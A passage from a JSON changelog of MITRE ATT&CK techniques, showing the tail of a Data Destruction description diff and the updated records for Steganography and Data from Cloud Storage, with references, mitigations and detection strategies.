nowrap=\"nowrap\">e&nbsp;Shamoon&nbsp;Nov&nbsp;2016)(Citation:&nbsp;Palo&nbsp;Alto&nbsp;Shamoon&nbsp;Nov&nbsp;2016)(Ci</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tation:&nbsp;Kaspersky&nbsp;StoneDrill&nbsp;2017)(Citation:&nbsp;Unit&nbsp;42&nbsp;Shamoon</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tation:&nbsp;Kaspersky&nbsp;StoneDrill&nbsp;2017)(Citation:&nbsp;Unit&nbsp;42&nbsp;Shamoon</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">3&nbsp;2018)(Citation:&nbsp;Talos&nbsp;Olympic&nbsp;Destroyer&nbsp;2018)&nbsp;Common&nbsp;opera</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">3&nbsp;2018)(Citation:&nbsp;Talos&nbsp;Olympic&nbsp;Destroyer&nbsp;2018)&nbsp;Common&nbsp;opera</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ting&nbsp;system&nbsp;file&nbsp;deletion&nbsp;commands&nbsp;such&nbsp;as&nbsp;&lt;code&gt;del&lt;/code&gt;&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ting&nbsp;system&nbsp;file&nbsp;deletion&nbsp;commands&nbsp;such&nbsp;as&nbsp;&lt;code&gt;del&lt;/code&gt;&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and&nbsp;&lt;code&gt;rm&lt;/code&gt;&nbsp;often&nbsp;only&nbsp;remove&nbsp;pointers&nbsp;to&nbsp;files&nbsp;with</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and&nbsp;&lt;code&gt;rm&lt;/code&gt;&nbsp;often&nbsp;only&nbsp;remove&nbsp;pointers&nbsp;to&nbsp;files&nbsp;with</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">out&nbsp;wiping&nbsp;the&nbsp;contents&nbsp;of&nbsp;the&nbsp;files&nbsp;themselves,&nbsp;making&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">out&nbsp;wiping&nbsp;the&nbsp;contents&nbsp;of&nbsp;the&nbsp;files&nbsp;themselves,&nbsp;making&nbsp;the&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">files&nbsp;recoverable&nbsp;by&nbsp;proper&nbsp;forensic&nbsp;methodology.&nbsp;This&nbsp;behav</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">files&nbsp;recoverable&nbsp;by&nbsp;proper&nbsp;forensic&nbsp;methodology.&nbsp;This&nbsp;behav</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ior&nbsp;is&nbsp;distinct&nbsp;from&nbsp;[Disk&nbsp;Content&nbsp;Wipe](https://attack.mitr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ior&nbsp;is&nbsp;distinct&nbsp;from&nbsp;[Disk&nbsp;Content&nbsp;Wipe](https://attack.mitr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e.org/techniques/T1561/001)&nbsp;and&nbsp;[Disk&nbsp;Structure&nbsp;Wipe](https:</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e.org/techniques/T1561/001)&nbsp;and&nbsp;[Disk&nbsp;Structure&nbsp;Wipe](https:</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">//attack.mitre.org/techniques/T1561/002)&nbsp;because&nbsp;individual&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">//attack.mitre.org/techniques/T1561/002)&nbsp;because&nbsp;individual&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">files&nbsp;are&nbsp;destroyed&nbsp;rather&nbsp;than&nbsp;sections&nbsp;of&nbsp;a&nbsp;storage&nbsp;disk&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">files&nbsp;are&nbsp;destroyed&nbsp;rather&nbsp;than&nbsp;sections&nbsp;of&nbsp;a&nbsp;storage&nbsp;disk&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;the&nbsp;disk's&nbsp;logical&nbsp;structure.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;the&nbsp;disk's&nbsp;logical&nbsp;structure.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">overwrite&nbsp;files&nbsp;and&nbsp;directories&nbsp;with&nbsp;randomly&nbsp;generated&nbsp;data</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">overwrite&nbsp;files&nbsp;and&nbsp;directories&nbsp;with&nbsp;randomly&nbsp;generated&nbsp;data</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;make&nbsp;it&nbsp;irrecoverable.(Citation:&nbsp;Kaspersky&nbsp;StoneDrill&nbsp;20</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;make&nbsp;it&nbsp;irrecoverable.(Citation:&nbsp;Kaspersky&nbsp;StoneDrill&nbsp;20</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">17)(Citation:&nbsp;Unit&nbsp;42&nbsp;Shamoon3&nbsp;2018)&nbsp;In&nbsp;some&nbsp;cases&nbsp;political</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">17)(Citation:&nbsp;Unit&nbsp;42&nbsp;Shamoon3&nbsp;2018)&nbsp;In&nbsp;some&nbsp;cases&nbsp;political</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ly&nbsp;oriented&nbsp;image&nbsp;files&nbsp;have&nbsp;been&nbsp;used&nbsp;to&nbsp;overwrite&nbsp;data.(Ci</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ly&nbsp;oriented&nbsp;image&nbsp;files&nbsp;have&nbsp;been&nbsp;used&nbsp;to&nbsp;overwrite&nbsp;data.(Ci</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tation:&nbsp;FireEye&nbsp;Shamoon&nbsp;Nov&nbsp;2016)(Citation:&nbsp;Palo&nbsp;Alto&nbsp;Shamoo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tation:&nbsp;FireEye&nbsp;Shamoon&nbsp;Nov&nbsp;2016)(Citation:&nbsp;Palo&nbsp;Alto&nbsp;Shamoo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;Nov&nbsp;2016)(Citation:&nbsp;Kaspersky&nbsp;StoneDrill&nbsp;2017)&nbsp;&nbsp;To&nbsp;maximiz</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;Nov&nbsp;2016)(Citation:&nbsp;Kaspersky&nbsp;StoneDrill&nbsp;2017)&nbsp;&nbsp;To&nbsp;maximiz</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;impact&nbsp;on&nbsp;the&nbsp;target&nbsp;organization&nbsp;in&nbsp;operations&nbsp;where&nbsp;netw</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;impact&nbsp;on&nbsp;the&nbsp;target&nbsp;organization&nbsp;in&nbsp;operations&nbsp;where&nbsp;netw</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ork-wide&nbsp;availability&nbsp;interruption&nbsp;is&nbsp;the&nbsp;goal,&nbsp;malware&nbsp;desi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ork-wide&nbsp;availability&nbsp;interruption&nbsp;is&nbsp;the&nbsp;goal,&nbsp;malware&nbsp;desi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gned&nbsp;for&nbsp;destroying&nbsp;data&nbsp;may&nbsp;have&nbsp;worm-like&nbsp;features&nbsp;to&nbsp;prop</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gned&nbsp;for&nbsp;destroying&nbsp;data&nbsp;may&nbsp;have&nbsp;worm-like&nbsp;features&nbsp;to&nbsp;prop</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">agate&nbsp;across&nbsp;a&nbsp;network&nbsp;by&nbsp;leveraging&nbsp;additional&nbsp;techniques&nbsp;l</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">agate&nbsp;across&nbsp;a&nbsp;network&nbsp;by&nbsp;leveraging&nbsp;additional&nbsp;techniques&nbsp;l</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ike&nbsp;[Valid&nbsp;Accounts](https://attack.mitre.org/techniques/T10</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ike&nbsp;[Valid&nbsp;Accounts](https://attack.mitre.org/techniques/T10</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">78),&nbsp;[OS&nbsp;Credential&nbsp;Dumping](https://attack.mitre.org/techni</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">78),&nbsp;[OS&nbsp;Credential&nbsp;Dumping](https://attack.mitre.org/techni</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ques/T1003),&nbsp;and&nbsp;[SMB/Windows&nbsp;Admin&nbsp;Shares](https://attack.m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ques/T1003),&nbsp;and&nbsp;[SMB/Windows&nbsp;Admin&nbsp;Shares](https://attack.m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itre.org/techniques/T1021/002).(Citation:&nbsp;Symantec&nbsp;Shamoon&nbsp;2</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itre.org/techniques/T1021/002).(Citation:&nbsp;Symantec&nbsp;Shamoon&nbsp;2</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">012)(Citation:&nbsp;FireEye&nbsp;Shamoon&nbsp;Nov&nbsp;2016)(Citation:&nbsp;Palo&nbsp;Alto</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">012)(Citation:&nbsp;FireEye&nbsp;Shamoon&nbsp;Nov&nbsp;2016)(Citation:&nbsp;Palo&nbsp;Alto</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Shamoon&nbsp;Nov&nbsp;2016)(Citation:&nbsp;Kaspersky&nbsp;StoneDrill&nbsp;2017)(Cita</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Shamoon&nbsp;Nov&nbsp;2016)(Citation:&nbsp;Kaspersky&nbsp;StoneDrill&nbsp;2017)(Cita</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;Talos&nbsp;Olympic&nbsp;Destroyer&nbsp;2018)<span class=\"diff_sub\">.</span>&nbsp;&nbsp;In&nbsp;cloud&nbsp;environments,</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;Talos&nbsp;Olympic&nbsp;Destroyer&nbsp;2018)&nbsp;&nbsp;In&nbsp;cloud&nbsp;environments,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;adversaries&nbsp;may&nbsp;leverage&nbsp;access&nbsp;to&nbsp;delete&nbsp;cloud&nbsp;storage&nbsp;obj</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">adversaries&nbsp;may&nbsp;leverage&nbsp;access&nbsp;to&nbsp;delete&nbsp;cloud&nbsp;storage&nbsp;obje</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ects,&nbsp;machine&nbsp;images,&nbsp;database&nbsp;instances,&nbsp;and&nbsp;other&nbsp;infrastr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cts,&nbsp;machine&nbsp;images,&nbsp;database&nbsp;instances,&nbsp;and&nbsp;other&nbsp;infrastru</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ucture&nbsp;crucial&nbsp;to&nbsp;operations&nbsp;to&nbsp;damage&nbsp;an&nbsp;organization&nbsp;or&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cture&nbsp;crucial&nbsp;to&nbsp;operations&nbsp;to&nbsp;damage&nbsp;an&nbsp;organization&nbsp;or&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eir&nbsp;customers.(Citation:&nbsp;Data&nbsp;Destruction&nbsp;-&nbsp;Threat&nbsp;Post)(Cit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ir&nbsp;customers.(Citation:&nbsp;Data&nbsp;Destruction&nbsp;-&nbsp;Threat&nbsp;Post)(Cita</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;DOJ&nbsp;&nbsp;-&nbsp;Cisco&nbsp;Insider)&nbsp;Similarly,&nbsp;they&nbsp;may&nbsp;delete&nbsp;virt</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;DOJ&nbsp;&nbsp;-&nbsp;Cisco&nbsp;Insider)&nbsp;Similarly,&nbsp;they&nbsp;may&nbsp;delete&nbsp;virtu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ual&nbsp;machines&nbsp;from&nbsp;on-prem&nbsp;virtualized&nbsp;environments.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">al&nbsp;machines&nbsp;from&nbsp;on-prem&nbsp;virtualized&nbsp;environments.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1018: User Account Management",
                            "M1032: Multi-factor Authentication",
                            "M1053: Data Backup"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0146: Detection of Data Destruction Across Platforms via Mass Overwrite and Deletion Patterns"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-03-15 00:37:58.963000+00:00",
                    "modified": "2026-06-12 14:31:27.856000+00:00",
                    "name": "Steganography",
                    "description": "Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control.(Citation: Kaspersky)(Citation: Sophos - Cover Their Tracks)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "command-and-control"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1001/002",
                            "external_id": "T1001.002"
                        },
                        {
                            "source_name": "Sophos - Cover Their Tracks",
                            "description": "Counter Threat Unit Research Team. (2025, November 16). Cover Their Tracks: How Attackers are Hiding C&C Communication. Retrieved June 12, 2026.",
                            "url": "https://www.sophos.com/en-us/blog/cover-their-tracks-how-attackers-are-hiding-cc-communication"
                        },
                        {
                            "source_name": "Kaspersky",
                            "description": "Kaspersky. (n.d.). What is steganography? Definition and explanation. Retrieved June 12, 2026.",
                            "url": "https://www.kaspersky.com/resource-center/definitions/what-is-steganography"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows",
                        "ESXi"
                    ],
                    "x_mitre_version": "1.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-06-12 14:31:27.856000+00:00\", \"old_value\": \"2025-10-24 17:49:35.060000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control.(Citation: Kaspersky)(Citation: Sophos - Cover Their Tracks)\", \"old_value\": \"Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control. \"}, \"root['external_references'][1]['source_name']\": {\"new_value\": \"Kaspersky\", \"old_value\": \"University of Birmingham C2\", \"new_path\": \"root['external_references'][2]['source_name']\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Kaspersky. (n.d.). What is steganography? Definition and explanation. Retrieved June 12, 2026.\", \"old_value\": \"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.\", \"new_path\": \"root['external_references'][2]['description']\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://www.kaspersky.com/resource-center/definitions/what-is-steganography\", \"old_value\": \"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf\", \"new_path\": \"root['external_references'][2]['url']\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Sophos - Cover Their Tracks\", \"description\": \"Counter Threat Unit Research Team. (2025, November 16). Cover Their Tracks: How Attackers are Hiding C&C Communication. Retrieved June 12, 2026.\", \"url\": \"https://www.sophos.com/en-us/blog/cover-their-tracks-how-attackers-are-hiding-cc-communication\"}}}",
                    "previous_version": "1.1",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to111__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to111__0\"><a href=\"#difflib_chg_to111__top\">t</a></td><td class=\"diff_header\" id=\"from111_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;steganographic&nbsp;techniques&nbsp;to&nbsp;hide&nbsp;comman</td><td class=\"diff_next\"><a href=\"#difflib_chg_to111__top\">t</a></td><td class=\"diff_header\" id=\"to111_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;steganographic&nbsp;techniques&nbsp;to&nbsp;hide&nbsp;comman</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;and&nbsp;control&nbsp;traffic&nbsp;to&nbsp;make&nbsp;detection&nbsp;efforts&nbsp;more&nbsp;difficu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;and&nbsp;control&nbsp;traffic&nbsp;to&nbsp;make&nbsp;detection&nbsp;efforts&nbsp;more&nbsp;difficu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lt.&nbsp;Steganographic&nbsp;techniques&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;hide&nbsp;data&nbsp;in&nbsp;di</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lt.&nbsp;Steganographic&nbsp;techniques&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;hide&nbsp;data&nbsp;in&nbsp;di</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gital&nbsp;messages&nbsp;that&nbsp;are&nbsp;transferred&nbsp;between&nbsp;systems.&nbsp;This&nbsp;hi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gital&nbsp;messages&nbsp;that&nbsp;are&nbsp;transferred&nbsp;between&nbsp;systems.&nbsp;This&nbsp;hi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dden&nbsp;information&nbsp;can&nbsp;be&nbsp;used&nbsp;for&nbsp;command&nbsp;and&nbsp;control&nbsp;of&nbsp;comp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dden&nbsp;information&nbsp;can&nbsp;be&nbsp;used&nbsp;for&nbsp;command&nbsp;and&nbsp;control&nbsp;of&nbsp;comp</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">romised&nbsp;systems.&nbsp;In&nbsp;some&nbsp;cases,&nbsp;the&nbsp;passing&nbsp;of&nbsp;files&nbsp;embedde</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">romised&nbsp;systems.&nbsp;In&nbsp;some&nbsp;cases,&nbsp;the&nbsp;passing&nbsp;of&nbsp;files&nbsp;embedde</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;using&nbsp;steganography,&nbsp;such&nbsp;as&nbsp;image&nbsp;or&nbsp;document&nbsp;files,&nbsp;can&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;using&nbsp;steganography,&nbsp;such&nbsp;as&nbsp;image&nbsp;or&nbsp;document&nbsp;files,&nbsp;can&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">be&nbsp;used&nbsp;for&nbsp;command&nbsp;and&nbsp;control.<span class=\"diff_chg\">&nbsp;</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">be&nbsp;used&nbsp;for&nbsp;command&nbsp;and&nbsp;control.<span class=\"diff_chg\">(Citation:&nbsp;Kaspersky)(Citati</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\"></td><td nowrap=\"nowrap\">&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">on:&nbsp;Sophos&nbsp;-&nbsp;Cover&nbsp;Their&nbsp;Tracks)</span></td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1031: Network Intrusion Prevention"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0235: Detecting Steganographic Command and Control via File + Network Correlation"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2019-08-30 18:07:27.741000+00:00",
                    "modified": "2026-11-03 21:36:19.339000+00:00",
                    "name": "Data from Cloud Storage",
                    "description": "Adversaries may access data from cloud storage.\n\nMany IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform. \n\nIn some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly through the [Cloud API](https://attack.mitre.org/techniques/T1059/009). In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)). \n\nAdversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.\n\nThis open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021)\n\nAdversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "collection"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1530",
                            "external_id": "T1530"
                        },
                        {
                            "source_name": "Amazon S3 Security, 2019",
                            "description": "Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019.",
                            "url": "https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/"
                        },
                        {
                            "source_name": "Microsoft Azure Storage Security, 2019",
                            "description": "Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019.",
                            "url": "https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide"
                        },
                        {
                            "source_name": "Wired Magecart S3 Buckets, 2019",
                            "description": "Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker Group Hit 17K Domains\u2014and Counting. Retrieved October 4, 2019.",
                            "url": "https://www.wired.com/story/magecart-amazon-cloud-hacks/"
                        },
                        {
                            "source_name": "Google Cloud Storage Best Practices, 2019",
                            "description": "Google. (2019, September 16). Best practices for Cloud Storage. Retrieved October 4, 2019.",
                            "url": "https://cloud.google.com/storage/docs/best-practices"
                        },
                        {
                            "source_name": "HIPAA Journal S3 Breach, 2017",
                            "description": "HIPAA Journal. (2017, October 11). 47GB of Medical Records and Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019.",
                            "url": "https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/"
                        },
                        {
                            "source_name": "Rclone-mega-extortion_05_2021",
                            "description": "Justin Schoenfeld, Aaron Didier. (2021, May 4). Transferring leverage in a ransomware attack. Retrieved July 14, 2022.",
                            "url": "https://redcanary.com/blog/rclone-mega-extortion/"
                        },
                        {
                            "source_name": "Trend Micro S3 Exposed PII, 2017",
                            "description": "Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed Almost 50 Thousand PII in Australia. Retrieved October 4, 2019.",
